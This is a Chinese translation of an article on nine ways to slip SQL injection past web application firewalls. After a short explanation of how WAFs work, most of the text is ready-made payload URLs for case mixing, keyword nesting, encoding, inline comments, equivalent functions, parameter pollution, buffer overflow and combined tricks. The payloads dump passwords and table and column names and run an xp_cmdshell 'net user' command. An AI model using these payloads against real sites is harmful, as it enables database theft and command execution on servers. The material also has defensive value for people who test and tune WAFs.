SQL注入绕过WAF
的几个技巧。
翻译——sql-injection-9-ways-bypass-web-application-firewall
Web应用程序(WAF)过滤,检测,拦截进出Web应用程序的HTTP
流量。WAF不同于传统的防火墙,因为WAF能够过滤特定的Web应用程序内容,而传统防火墙只是充当服务器间的安全门。通过检测HTTP流量,它能拦截基于Web应用程序的漏洞,比如SQl注入、XSS、文件包含和安全误配置等攻击。
WAF工作原理
- 异常检测协议: 拦截不符合HTTP标准的请求
- 增强输入验证: 代理和服务器端验证。不只是客户端验证
- 基于白名单和黑名单
- 基于规则和基于异常保护:基于规则的较固定,基于异常的比较灵活
- 状态管理:专注于会话保护,还有:Cookie保护、反入侵避免保护、响应监控和信息泄露保护
如何绕过WAF
大小写绕过。如果WAF区分大小写的话,
union
可以写为UniOn
,更改大小写可能绕过该机制。(这种绕过已经很少见了,一般的WAF都会区分大小写的)http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
替换关键字(插入被WAF删除的特殊字符)只是过滤关键字。比如过滤
script
,构造scscriptript
变为script
,把里面的script
过滤后,剩余的字符拼接后也是script
。http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
编码绕过
URL encode
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
经过双重解码后为
page.php?id=1/**/UNION/* /SELECT
Hex encode
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode encode
?id=10%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1
4.注释绕过
在攻击字符串中插入注释。比如/*!select*/
可能会被WAF
放行,但是传递给目标服务器能够被mysql
数据库处理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5.等价函数和命令
有时候一些函数或者命令被过滤了,但是很多情况下可以使用等价或这相似的代码。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
6.特殊符号。把非字母数字的符号规定为一个类为特殊符号。特殊符号具有特殊的含义和用法。
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
Example:
‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.HTTP参数污染
提供几个相同的参数来混淆WAF
。比如以下的url
http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘
在某些情况下,比如Apache/PHP
,这个应用程序仅解析第二个id
,但是WAF
解析第一个,这似乎是一个合法的请求,但是应用程序仍然接受并处理恶意输入。现在的WAF
大多数不容易受到参数污染的影响,但是仍然值得一试。
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP
也被称为重复参数污染。最简单的是uid = 1 & uid = 2 & uid = 3
,对于这种情况,不同的Web
服务处理情况如下:
HPF(HTTP 参数 片段)
此方法是HTTP
分段注入,与CRLF
类似(使用控制字符 %0a,%0d等执行换行符)
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
HPC(HTTP 参数污染)
RFC2396定义了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
构建特殊请求时,不同的Web服务器处理进程具有不同的逻辑。
在这种情况下,魔术字符%
,在Asp
和Asp.net
中会受到影响。会把%
吃掉,而正常执行攻击载荷。
8.缓冲区溢出
毕竟WAF
也是一个应用程序,容易受到和其他应用程序相同的软件缺陷的影响。如果一个缓冲区漏洞会导致崩溃,即使不会导致代码执行,这会导致WAF
打开失败。换句话说,绕过了。
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9.集成整合绕过
一个绕过技术可能不能成功绕过,多个技巧结合起来可能或绕过。
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
总结,绕过WAF
,终归还是寻找一个特性,经过WAF
时不被拦截,但是后面的Web
服务器可以正常执行。